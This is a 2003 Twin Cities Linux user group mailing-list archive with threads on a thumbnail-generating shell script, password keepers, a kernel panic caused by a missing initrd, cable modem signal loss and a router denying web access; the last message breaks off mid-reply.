scritping help please In-Reply-To: <20030826132208.A9942@localhost.localdomain> References: <20030826094106.18eaf327.sfertch@real-time.com> <20030826132208.A9942@localhost.localdomain> Message-ID: <3F4C451C.2040102@visi.com> I didn't use the script below to create thumbnails "DoH!" but I did use PhP to put RANDOM pictures on my website. http://www.screechowl.org/scouts/woodbadge/wbpics.php the source is at http://www.screechowl.org/php-mysql-code/wbpics.txt enjoy, scream, laugh, cry, what ever it takes. Sam. Karl Bongers wrote: >On Tue, Aug 26, 2003 at 09:41:06AM -0500, Shawn wrote: > > >>I want to take an ls of a directory and dump it into an html file (pics) for temporary use. Until I get a sight up with thumbnails (read lack of time right now). >>What's the best way to do this? >> >> > >This script will make resized jpgs/thumbnails/html-index out of a dir full >of jpgs, suitable for web viewing. Uses convert from ImageMagick. > >#!/bin/sh -v >SCRIPTNAME=$0 >if [ "$1" == "" ] || [ "$1" == "--help" ] || [ "$1" == "-?" ] ; then >echo use# $SCRIPTNAME directory >echo where directory = path to scan for .jpg files. >exit 1 >fi > >if ! [ -d $1 ]; then >echo Error: The first parameter should be a directory name with picts. >exit 1 >fi > >WEBDIR=$1_web >THUMBDIR=thumbdir >THUMBFILE=$WEBDIR/thumb.html >#BAKDIR=`date +m%md%d` > >if [ "$3" != "_2NDPASS_" ] ; then ># first invocation, where we create a new backup path based on > ># create our thumbnail directory. >echo Creating thumbnail directory >mkdir -p $WEBDIR/$THUMBDIR > >echo "Picts " `date` > $THUMBFILE >echo "" >> $THUMBFILE >echo "

Pictures

" >> $THUMBFILE >#find $1 -name *.jpg -exec echo \ >> $THUMBFILE \; > ># use find to recursively call ourself as 2nd invocation to ># convert the file. >find $1 -name "*.jpg" -exec ./$SCRIPTNAME $1 "{}" _2NDPASS_ \; > >echo "" >> $THUMBFILE >exit 0 >fi > ># 2nd invocation(find calls us on 2nd invocation. We are given ># $3 = "_2NDPASS_" > >if ! [ "$3" == "_2NDPASS_" ]; then >echo Parameter 3[$3] not a 2nd phase operation. >exit 1 >fi > >if ! [ -d "$1" ]; then >echo The folder [$1] does not exist. >exit 1 >fi > >if ! [ -f "$2" ]; then >echo The file [$2] does not exist. >exit 1 >fi > >FNAME=`basename "$2"` >DNAME=`dirname "$2"` >echo \\\"$FNAME\" \ >> $THUMBFILE >#echo "
" >> $THUMBFILE >convert -quality 35 -geometry 320x256! $2 "$WEBDIR/$THUMBDIR/$FNAME" >convert -quality 50 $2 "$WEBDIR/$FNAME" > > > >_______________________________________________ >TCLUG Mailing List - Minneapolis/St. Paul, Minnesota >http://www.mn-linux.org tclug-list@mn-linux.org >https://mailman.real-time.com/mailman/listinfo/tclug-list > > > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From rpgoldman at real-time.com Wed Aug 27 11:17:28 2003 From: rpgoldman at real-time.com (rpgoldman@real-time.com) Date: Mon Jan 17 12:41:01 2005 Subject: [TCLUG] OT: keeping track of passwords In-Reply-To: <20030826235419.GA25036@refried.org> References: <20030826235419.GA25036@refried.org> Message-ID: <16204.55704.638416.258959@gargle.gargle.HOWL> >>>>> "nate" == nate writes: nate> On Tue, Aug 26, 2003 at 05:14:47PM -0500, johnny fulcrum nate> wrote: >> Bit off topic, but what's your favorite way to keep track of >> all your important usernames/passwords? nate> Keyring for Palm nate> Nate I do too, and this has the excellent feature that jpilot for linux will synch with it. I love this program. R _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From rpgoldman at real-time.com Wed Aug 27 11:35:18 2003 From: rpgoldman at real-time.com (rpgoldman@real-time.com) Date: Mon Jan 17 12:41:01 2005 Subject: [TCLUG] OT: EFF applauds Coleman hearings on RIAA Message-ID: <16204.56774.480099.112265@gargle.gargle.HOWL> I don't want to get too deep into political advocacy here, but wanted to pass on the news that the Electronic Freedom Foundation has asked people from MN to send props to Sen. Coleman for scheduling hearings to investigate RIAA tactics. Here's the link: http://action.eff.org/action/index.asp?step=2&item=2769 and I'll shut up now with apologies for the near-spam. R _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From rick at eworld3.net Wed Aug 27 13:59:09 2003 From: rick at eworld3.net (Rick Meyerhoff) Date: Mon Jan 17 12:41:01 2005 Subject: [TCLUG] OT: keeping track of passwords In-Reply-To: <16204.55704.638416.258959@gargle.gargle.HOWL> References: <20030826235419.GA25036@refried.org> <16204.55704.638416.258959@gargle.gargle.HOWL> Message-ID: <3F4CFF7D.2040505@eworld3.net> Could you tell me the URL for Keyring? rpgoldman@real-time.com wrote: >>>>>>"nate" == nate writes: > > > nate> On Tue, Aug 26, 2003 at 05:14:47PM -0500, johnny fulcrum > nate> wrote: > >> Bit off topic, but what's your favorite way to keep track of > >> all your important usernames/passwords? > > nate> Keyring for Palm > > nate> Nate > > I do too, and this has the excellent feature that jpilot for linux > will synch with it. I love this program. > > R > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > > -- Eric (Rick) Meyerhoff rick@eworld3.net 952-929-1659 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From chewie at wookimus.net Wed Aug 27 09:24:24 2003 From: chewie at wookimus.net (Chad Walstrom) Date: Mon Jan 17 12:41:02 2005 Subject: [TCLUG] Shell scritping help please In-Reply-To: <20030826094106.18eaf327.sfertch@real-time.com> References: <20030826094106.18eaf327.sfertch@real-time.com> Message-ID: <20030827142423.GA20716@skuld.wookimus.net> On Tue, Aug 26, 2003 at 09:41:06AM -0500, Shawn wrote: > I want to take an ls of a directory and dump it into an html file > (pics) for temporary use. Until I get a sight up with thumbnails (read > lack of time right now). You are making this more complicated than it has to be. Why not use the '-source' option from lynx to dump the html of the current directory? shell$ lynx -source . > index.html You could use find to recursively create index files: shell$ for d in `find . -type d`; do > pushd $d > lynx -source . > index.html > popd > done I use a photo albumn creator called curator. It's a python program that creates thumbnails, indexes, and custom HTML pages. Very cool. It can be run on a batch basis, so that you don't have to screw around with CGI scripts and the like. You get static HTML output, which is usually good enough for most photo albumns. -- Chad Walstrom http://www.wookimus.net/ assert(expired(knowledge)); /* core dump */ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 240 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20030827/e5ce02e2/attachment.pgp From sfertch at real-time.com Wed Aug 27 15:28:48 2003 From: sfertch at real-time.com (Shawn) Date: Mon Jan 17 12:41:02 2005 Subject: [TCLUG] Shell scritping help please In-Reply-To: <20030827142423.GA20716@skuld.wookimus.net> References: <20030826094106.18eaf327.sfertch@real-time.com> <20030827142423.GA20716@skuld.wookimus.net> Message-ID: <20030827152848.7ddf5e53.sfertch@real-time.com> On Wed, 27 Aug 2003 09:24:24 -0500 Chad Walstrom wrote: > You are making this more complicated than it has to be. Why not use > the'-source' option from lynx to dump the html of the current > directory? > > shell$ lynx -source . > index.html > Had no idea of the source option on lynx. Rarely use lynx as it is... > I use a photo albumn creator called curator. It's a python program > that creates thumbnails, indexes, and custom HTML pages. Very cool. > It can be run on a batch basis, so that you don't have to screw around > with CGI scripts and the like. You get static HTML output, which is > usually good enough for most photo albumns. > Will have to check tis out as well... -- Shawn The difficult we do today; the impossible take a little longer. Ne Obliviscaris -- "Forget Not" _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From swarty at charter.net Wed Aug 27 16:07:12 2003 From: swarty at charter.net (swarty) Date: Mon Jan 17 12:41:02 2005 Subject: [TCLUG] Kernel Panic: VFS: Unable to mount root fs on 00:00 Message-ID: <000401c36cdf$3575df50$0301a8c0@bart> I am new to the TCLUG list and eager to learn as much as possible. If this has already been discussed, please just point me in the right direction. Any and all help will be appreciated. I've been running a stock RedHat 8 system as a Samba server for awhile, and wanted to get RedHat 8 my new nForce2 motherboard. I got all the drivers and files from nVidia and followed their instructions, as well as instructions from another nforce forum. Part of the installation required patching the kernel, and recompiling. I read up on this and it seemed rather straight forward, but each and every new kernel came up with this error! Kernel Panic: VFS: Unable to mount root fs on 00:00 I tried checking GRUB to see that every kernel was booting the same, and all looks the same. This is my first venture into kernel compiling and configuring. I hope you all can help! Here are some details: RedHat 8 Kernel 2.4.22 (from Kernel.org) nForce2 mother board rev 1.04 latest nVidia nForce2 linux drivers from website latest nVidia linux drivers for Ti4400 Also can anyone point me to a good source for understanding all (or most) of the kernel configuring options? Scott Swartwoudt _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From dru at druswanderings.net Wed Aug 27 16:15:57 2003 From: dru at druswanderings.net (The Wandering Dru) Date: Mon Jan 17 12:41:02 2005 Subject: [TCLUG] Kernel Panic: VFS: Unable to mount root fs on 00:00 In-Reply-To: <000401c36cdf$3575df50$0301a8c0@bart> References: <000401c36cdf$3575df50$0301a8c0@bart> Message-ID: <3F4D1F8D.3010202@druswanderings.net> swarty wrote: > I am new to the TCLUG list and eager to learn as much as possible. If > this has already been discussed, please just point me in the right > direction. Any and all help will be appreciated. > > I've been running a stock RedHat 8 system as a Samba server for awhile, > and wanted to get RedHat 8 my new nForce2 motherboard. I got all the > drivers and files from nVidia and followed their instructions, as well > as instructions from another nforce forum. Part of the installation > required patching the kernel, and recompiling. I read up on this and it > seemed rather straight forward, but each and every new kernel came up > with this error! > > Kernel Panic: VFS: Unable to mount root fs on 00:00 > > I tried checking GRUB to see that every kernel was booting the same, and > all looks the same. This is my first venture into kernel compiling and > configuring. I hope you all can help! > Here are some details: > > RedHat 8 > Kernel 2.4.22 (from Kernel.org) > nForce2 mother board rev 1.04 > latest nVidia nForce2 linux drivers from website > latest nVidia linux drivers for Ti4400 > > Also can anyone point me to a good source for understanding all (or > most) of the kernel configuring options? > > > Since you said your bootloader looks okay, the next guess I would have is that RH uses initrd for an initial boot image. If this is the case, you need to create one for your newly-compiled kernel and point the bootloader toward it. I believe the command is mkinitrd. Of course there may be a way to do this "The Red Hat Way" (I'm not a big RH guy). It's just a guess but anytime I've run into this problem it is either no initrd, bad bootloader config or the filesystem module is not loaded/compiled in. -- The Wandering Dru http://druswanderings.net <--- Things 'n' Such Get nifty TCLUG merchandise at the TCLUG Store! http://www.cafeshops.com/tclug _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From swarty at charter.net Wed Aug 27 16:28:57 2003 From: swarty at charter.net (swarty) Date: Mon Jan 17 12:41:02 2005 Subject: [TCLUG] Kernel Panic: VFS: Unable to mount root fs on 00:00 In-Reply-To: <3F4D1F8D.3010202@druswanderings.net> Message-ID: <000501c36ce2$3e85f140$0301a8c0@bart> I just got done checking the initrd and there already is a /boot/initrd-2.4.22.img Could this be corrupt? I made sure to compile in the EXT3 filesystem which is what I on my system. BTW I have a multi-boot system with Redhat 8 and WinXP. Now WinXP won't boot. Oh well, at least I am learning. Scott S -----Original Message----- From: tclug-list-admin@mn-linux.org [mailto:tclug-list-admin@mn-linux.org] On Behalf Of The Wandering Dru Sent: August 27, 2003 4:16 PM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] Kernel Panic: VFS: Unable to mount root fs on 00:00 swarty wrote: > I am new to the TCLUG list and eager to learn as much as possible. If > this has already been discussed, please just point me in the right > direction. Any and all help will be appreciated. > > I've been running a stock RedHat 8 system as a Samba server for awhile, > and wanted to get RedHat 8 my new nForce2 motherboard. I got all the > drivers and files from nVidia and followed their instructions, as well > as instructions from another nforce forum. Part of the installation > required patching the kernel, and recompiling. I read up on this and it > seemed rather straight forward, but each and every new kernel came up > with this error! > > Kernel Panic: VFS: Unable to mount root fs on 00:00 > > I tried checking GRUB to see that every kernel was booting the same, and > all looks the same. This is my first venture into kernel compiling and > configuring. I hope you all can help! > Here are some details: > > RedHat 8 > Kernel 2.4.22 (from Kernel.org) > nForce2 mother board rev 1.04 > latest nVidia nForce2 linux drivers from website > latest nVidia linux drivers for Ti4400 > > Also can anyone point me to a good source for understanding all (or > most) of the kernel configuring options? > > > Since you said your bootloader looks okay, the next guess I would have is that RH uses initrd for an initial boot image. If this is the case, you need to create one for your newly-compiled kernel and point the bootloader toward it. I believe the command is mkinitrd. Of course there may be a way to do this "The Red Hat Way" (I'm not a big RH guy). It's just a guess but anytime I've run into this problem it is either no initrd, bad bootloader config or the filesystem module is not loaded/compiled in. -- The Wandering Dru http://druswanderings.net <--- Things 'n' Such Get nifty TCLUG merchandise at the TCLUG Store! http://www.cafeshops.com/tclug _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Wed Aug 27 17:03:38 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:41:02 2005 Subject: [TCLUG] Computer Stuff Message-ID: <3F4D2AB9.9080509@visi.com> I've added the rest, well maybe not all of the stuff, but as much as I care to. I'm going to add 2 kids bikes but it's up to my kids if they want to sell them or give them away. My son is a miser so I'm sure he will want at least $20 for his old bike, only a few years. My daughter on the other hand may want something but not much. I also have a cloths dryer, I'll test it this weekend and put it on the webpage. "I got to much stuff, I can't believe the likes of me" ~ Jimmy Buffet ~ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From nate at refried.org Wed Aug 27 17:03:41 2003 From: nate at refried.org (nate@refried.org) Date: Mon Jan 17 12:41:02 2005 Subject: [TCLUG] OT: keeping track of passwords In-Reply-To: <3F4CFF7D.2040505@eworld3.net> References: <20030826235419.GA25036@refried.org> <16204.55704.638416.258959@gargle.gargle.HOWL> <3F4CFF7D.2040505@eworld3.net> Message-ID: <20030827220341.GB25036@refried.org> On Wed, Aug 27, 2003 at 01:59:09PM -0500, Rick Meyerhoff wrote: > rpgoldman@real-time.com wrote: > >>>>>>"nate" == nate writes: > > nate> On Tue, Aug 26, 2003 at 05:14:47PM -0500, johnny fulcrum > > nate> wrote: > > >> Bit off topic, but what's your favorite way to keep track of > > >> all your important usernames/passwords? > > > > nate> Keyring for Palm > > > >I do too, and this has the excellent feature that jpilot for linux > >will synch with it. I love this program. > > Could you tell me the URL for Keyring? http://gnukeyring.sourceforge.net/ Nate _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From cschumann at twp-llc.com Wed Aug 27 17:09:00 2003 From: cschumann at twp-llc.com (Chris Schumann) Date: Mon Jan 17 12:41:02 2005 Subject: [TCLUG] LinkSys cable modem and such Message-ID: Hi all, Someone recently posted that he saw a big drop in cable modem signal power going through a splitter. I'm hoping it was on this list, not on one of the other lists I read. In any case, I have cable coming into my home office. I have a cheap crappy splitter then one side goes into my cable modem and the other goes to a cable amp then to two cable tuners (soon to be three). Often, in the early afternoon, the cable modem will disconnect and I'll have intermittent use for hours and then it just as mysteriously comes back and is solid for many hours again. I'm using a LinkSys cable modem, and the CD that came with it is useless. Can someone point me to a utility to let me know what the box is doing? (SNMP?) I hope to monitor signal strength while changing cabling. Many thanks, Chris Schumann _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From zibby+tclug at ringworld.org Wed Aug 27 17:12:30 2003 From: zibby+tclug at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 12:41:02 2005 Subject: [TCLUG] Kernel Panic: VFS: Unable to mount root fs on 00:00 In-Reply-To: <000501c36ce2$3e85f140$0301a8c0@bart> Message-ID: XinXP not booting sounds like progress to me! Well ok, maybe not. If you're getting this message: 1. You passed the kernel the wrong root drive. 2. The File system is not supported by the kernel. 3. The file system driver is compiled as a module and you are not using a proper initrd. 4. Fine system is corrupt, whoops. 5. Other..? 1. You're grub config for your new kernel should be similar to the stock RH kernel entry. If the grup config is pointing to symbolic links, you may need to update the links, but I berfer to get rid of any symbolic links to my kernel and specify the exact path to the kernel. Symbolicly linking /vmlinuz to /boot/vmlinuz-2.4.22-whatever then referencing /vmlinuz in your boot loader's configuration never made any sense to me. If this all went over your head, ummm...sorry. :) 2. Basically, you forgot to hit Y on ext2 or ext3 filesystem options, or you built it as a module and you're not using an inital ram disk. 3. If you compiled the filesystem drivers as a module, you must use an inital ram disk, and it must be build from your freshly compiled kernel. This is another thing that I don't understand...even if you use a module for your file system driver, the module is going to be loaded into the kernel as long as you have that type of filesystem mounted, and in the case of /, that file system is going to be mounted from boot to shutdown, so what does a modular file system driver do for you besides create an extra step to remember. Sure, modular file system drivers are great when you're Red Hat and the kernel you distribute has to work on every system with Red Hat installed, but when you're Andy Zbikowski and you're kernel is just one specific box that's allready installed and the file system created, well I'm going to skip the initrd step and hit Y instead of M for ext3 and get on with things. This, in my opinion is what's happening to you. Your ext3 driver is compiled by a module, and the module on the initrd does not match the kernel version, or you're using a Red Hat provided initrd.img for a custom kernel, or you have a type in grub's menu.lst. 4. If this is the case: Dude! Zibby trades you a melon. (http://www.gamespy.com/fargo/august03/autorpg/) 5. Bios issues...maybe you added a drive...anything else I don't have a rant about. :) Andrew S. Zbikowski | http://www.ringworld.org A password is like your underwear; Change it frequently, don't share it with others, and don't ask to borrow someone else's. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From swarty at charter.net Wed Aug 27 17:49:30 2003 From: swarty at charter.net (swarty) Date: Mon Jan 17 12:41:02 2005 Subject: [TCLUG] Kernel Panic: VFS: Unable to mount root fs on 00:00 In-Reply-To: Message-ID: <000801c36ced$812dd7a0$0301a8c0@bart> Hmm.. well actually this is not too far over me head. I am learning, but a little too slow for me ;-) 1) I did check and there were no symlinks in the grub config, and the original kernel from the install was almost identical to the new kernel. It looks as though the Grub Config is ok. 2) I made sure to include a number of file systems including the ext3 and ext2 along with a few others like Joliet, etc. I thought I compiled them into the kernel and NOT as a module. I will have to recompile and check this out again. One Q here, is there something special I need to do so that the new compilation will be recognized as a new config instead of crossing up with an old one? (Sorry, still a little new at this part.) You mentioned something here that rings a bell, the initial ram disk. I saw an option to build this into the kernel, and did this once and then left it out the second. Read something saying that it was not needed if there was a certain amount of RAM or fs was compiled into the kernel. Could you explain this part a little more please? I will recompile this in as well as check to make sure the fs is also compiled in. I just got WinXP back up. Argh hoping to avoid MS in the future, as much as possible. Scott S -----Original Message----- From: tclug-list-admin@mn-linux.org [mailto:tclug-list-admin@mn-linux.org] On Behalf Of Andy Zbikowski (Zibby) Sent: August 27, 2003 5:13 PM To: tclug-list@mn-linux.org Subject: RE: [TCLUG] Kernel Panic: VFS: Unable to mount root fs on 00:00 XinXP not booting sounds like progress to me! Well ok, maybe not. If you're getting this message: 1. You passed the kernel the wrong root drive. 2. The File system is not supported by the kernel. 3. The file system driver is compiled as a module and you are not using a proper initrd. 4. Fine system is corrupt, whoops. 5. Other..? 1. You're grub config for your new kernel should be similar to the stock RH kernel entry. If the grup config is pointing to symbolic links, you may need to update the links, but I berfer to get rid of any symbolic links to my kernel and specify the exact path to the kernel. Symbolicly linking /vmlinuz to /boot/vmlinuz-2.4.22-whatever then referencing /vmlinuz in your boot loader's configuration never made any sense to me. If this all went over your head, ummm...sorry. :) 2. Basically, you forgot to hit Y on ext2 or ext3 filesystem options, or you built it as a module and you're not using an inital ram disk. 3. If you compiled the filesystem drivers as a module, you must use an inital ram disk, and it must be build from your freshly compiled kernel. This is another thing that I don't understand...even if you use a module for your file system driver, the module is going to be loaded into the kernel as long as you have that type of filesystem mounted, and in the case of /, that file system is going to be mounted from boot to shutdown, so what does a modular file system driver do for you besides create an extra step to remember. Sure, modular file system drivers are great when you're Red Hat and the kernel you distribute has to work on every system with Red Hat installed, but when you're Andy Zbikowski and you're kernel is just one specific box that's allready installed and the file system created, well I'm going to skip the initrd step and hit Y instead of M for ext3 and get on with things. This, in my opinion is what's happening to you. Your ext3 driver is compiled by a module, and the module on the initrd does not match the kernel version, or you're using a Red Hat provided initrd.img for a custom kernel, or you have a type in grub's menu.lst. 4. If this is the case: Dude! Zibby trades you a melon. (http://www.gamespy.com/fargo/august03/autorpg/) 5. Bios issues...maybe you added a drive...anything else I don't have a rant about. :) Andrew S. Zbikowski | http://www.ringworld.org A password is like your underwear; Change it frequently, don't share it with others, and don't ask to borrow someone else's. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From swarty at charter.net Wed Aug 27 18:16:44 2003 From: swarty at charter.net (swarty) Date: Mon Jan 17 12:41:02 2005 Subject: [TCLUG] Kernel Panic: VFS: Unable to mount root fs on 00:00 In-Reply-To: Message-ID: <000901c36cf1$4e4cf3d0$0301a8c0@bart> I think I found it! It seems that the 2.4.22 kernel config does not have the RAM disk option enabled by default. I read the kernel option help and it seems to indicate that it is not needed. Why it reads that way I am not sure, but I enabled it and then and only then did it give me and option for the initrd. I did all this and it now boots!! I still have a few things that seem to fail on boot up and will work to fix and understand this boot and config. THANKS!! Your help was greatly appreciated!! Scott Swartwoudt -----Original Message----- From: tclug-list-admin@mn-linux.org [mailto:tclug-list-admin@mn-linux.org] On Behalf Of Andy Zbikowski (Zibby) Sent: August 27, 2003 5:13 PM To: tclug-list@mn-linux.org Subject: RE: [TCLUG] Kernel Panic: VFS: Unable to mount root fs on 00:00 XinXP not booting sounds like progress to me! Well ok, maybe not. If you're getting this message: 1. You passed the kernel the wrong root drive. 2. The File system is not supported by the kernel. 3. The file system driver is compiled as a module and you are not using a proper initrd. 4. Fine system is corrupt, whoops. 5. Other..? 1. You're grub config for your new kernel should be similar to the stock RH kernel entry. If the grup config is pointing to symbolic links, you may need to update the links, but I berfer to get rid of any symbolic links to my kernel and specify the exact path to the kernel. Symbolicly linking /vmlinuz to /boot/vmlinuz-2.4.22-whatever then referencing /vmlinuz in your boot loader's configuration never made any sense to me. If this all went over your head, ummm...sorry. :) 2. Basically, you forgot to hit Y on ext2 or ext3 filesystem options, or you built it as a module and you're not using an inital ram disk. 3. If you compiled the filesystem drivers as a module, you must use an inital ram disk, and it must be build from your freshly compiled kernel. This is another thing that I don't understand...even if you use a module for your file system driver, the module is going to be loaded into the kernel as long as you have that type of filesystem mounted, and in the case of /, that file system is going to be mounted from boot to shutdown, so what does a modular file system driver do for you besides create an extra step to remember. Sure, modular file system drivers are great when you're Red Hat and the kernel you distribute has to work on every system with Red Hat installed, but when you're Andy Zbikowski and you're kernel is just one specific box that's allready installed and the file system created, well I'm going to skip the initrd step and hit Y instead of M for ext3 and get on with things. This, in my opinion is what's happening to you. Your ext3 driver is compiled by a module, and the module on the initrd does not match the kernel version, or you're using a Red Hat provided initrd.img for a custom kernel, or you have a type in grub's menu.lst. 4. If this is the case: Dude! Zibby trades you a melon. (http://www.gamespy.com/fargo/august03/autorpg/) 5. Bios issues...maybe you added a drive...anything else I don't have a rant about. :) Andrew S. Zbikowski | http://www.ringworld.org A password is like your underwear; Change it frequently, don't share it with others, and don't ask to borrow someone else's. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From waynej at dccmn.com Wed Aug 27 19:47:13 2003 From: waynej at dccmn.com (Wayne Johnson) Date: Mon Jan 17 12:41:02 2005 Subject: [TCLUG] OT: EFF applauds Coleman hearings on RIAA In-Reply-To: <16204.56774.480099.112265@gargle.gargle.HOWL> References: <16204.56774.480099.112265@gargle.gargle.HOWL> Message-ID: <3516.192.1.1.23.1062031633.squirrel@dccmn.com> Just sent a thank youe-mail to Senator Coleman. While I was writing, I had a horrendous thought, what if SCO used the DMCRA to directly attack those people sharing Linux? They would have the power to subpoena ISP records and shut the servers down, without even a court order! Scary, huh. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From poptix at techmonkeys.org Wed Aug 27 21:36:26 2003 From: poptix at techmonkeys.org (Matthew S. Hallacy) Date: Mon Jan 17 12:41:02 2005 Subject: [TCLUG] LinkSys cable modem and such In-Reply-To: References: Message-ID: <20030828023626.GK13598@techmonkeys.org> On Wed, Aug 27, 2003 at 05:09:00PM -0500, Chris Schumann wrote: > Hi all, > [snip] nope, but we can help. > In any case, I have cable coming into my home office. I > have a cheap crappy splitter then one side goes into my > cable modem and the other goes to a cable amp then to > two cable tuners (soon to be three). Remove _all_ those crappy splitters, grab the nearest Comcast tech and ask for a handful of splitters, or visit best buy/radio shack/etc and find some 5mhz-1ghz splitters, usually it's 3.5dB loss per connector, and 7.5dB loss for every split after the first 2 (on any given splitter). Simplified, throw them in the trash, put in new splitters, remove the amp, and see how it does. If problems persist, put the amp back on. > > Often, in the early afternoon, the cable modem will > disconnect and I'll have intermittent use for hours > and then it just as mysteriously comes back and is solid > for many hours again. This is typical, you're within ~10dB of your minimum signal level to hold block sync on your cable modem, and during the afternoon the signal fluctuates due to heat, housewifes watching soaps, and cosmic rays emitted by chipmunks. The signal level dips below the minimum, and poof goes your connection. > I'm using a LinkSys cable modem, and the CD that came > with it is useless. Can someone point me to a utility to > let me know what the box is doing? (SNMP?) I hope to > monitor signal strength while changing cabling. Cable modems are meant to be black boxes, the cable company doesn't want you knowing what's going on, and in fact, will force new software onto your cable modem without your permission. At best, try searching google to see if it has some kind of minimal web diagnostics page. > > Many thanks, > Chris Schumann -- Matthew S. Hallacy FUBAR, LART, BOFH Certified http://www.poptix.net GPG public key 0x01938203 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From wilson at visi.com Wed Aug 27 21:48:29 2003 From: wilson at visi.com (Tim Wilson) Date: Mon Jan 17 12:41:02 2005 Subject: [TCLUG] Linksys router denying web access Message-ID: <20030828024829.GA11602@isis.visi.com> Hey everyone, I just got my Comcast broadband connected and I sat down to hit Slashdot on my desktop Linux box. Before that I had successfully browsed the Web with a Compaq laptop running WinXP and my Palm Tungsten C. Any Web request is greeted with the following message: Forbidden You were denied access because: Access denied by access control list. I can ssh out just fine. (I'm doing so to compose this message.) I reset router, but that didn't change anything. Any ideas? -Tim -- Tim Wilson Twin Cities, Minnesota, USA Science teacher, Linux fan, Zope developer, Grad. student, Daddy mailto:wilson@visi.com | http://qwerk.org/ | public key: 0x8C0F8813 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Thu Aug 28 01:07:44 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:41:02 2005 Subject: [TCLUG] Linksys router denying web access In-Reply-To: <20030828024829.GA11602@isis.visi.com> References: <20030828024829.GA11602@isis.visi.com> Message-ID: <3F4D9C30.2030501@visi.com> Maybe comcast set it up. I have DSL with Visi as my ISP, I can use Linux, w98, and W2k to get to slashdot. Tim Wilson wrote: >Hey everyone, > >I just got my Comcast broadband connected and I sat down to hit Slashdot >on my desktop Linux box. Before that I had successfully browsed the Web >with a Compaq laptop running WinXP and my Palm Tungsten C. Any Web >request is greeted with the following message: > >Forbidden > >You were denied access because: >Access denied by access control list. > >I can ssh out just fine. (I'm doing so to compose this message.) I reset >router, but that didn't change anything. Any ideas? > >-Tim > > > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From trammell+tclug at el-swifto.com Thu Aug 28 06:34:09 2003 From: trammell+tclug at el-swifto.com (John J. Trammell) Date: Mon Jan 17 12:41:03 2005 Subject: [TCLUG] Linksys router denying web access In-Reply-To: <20030828024829.GA11602@isis.visi.com> References: <20030828024829.GA11602@isis.visi.com> Message-ID: <20030828113409.GA3806@mail.el-swifto.com> On Wed, Aug 27, 2003 at 09:48:29PM -0500, Tim Wilson wrote: > Hey everyone, > > I just got my Comcast broadband connected and I sat down to hit Slashdot > on my desktop Linux box. Before that I had successfully browsed the Web > with a Compaq laptop running WinXP and my Palm Tungsten C. Any Web > request is greeted with the following message: > > Forbidden > > You were denied access because: > Access denied by access control list. > > I can ssh out just 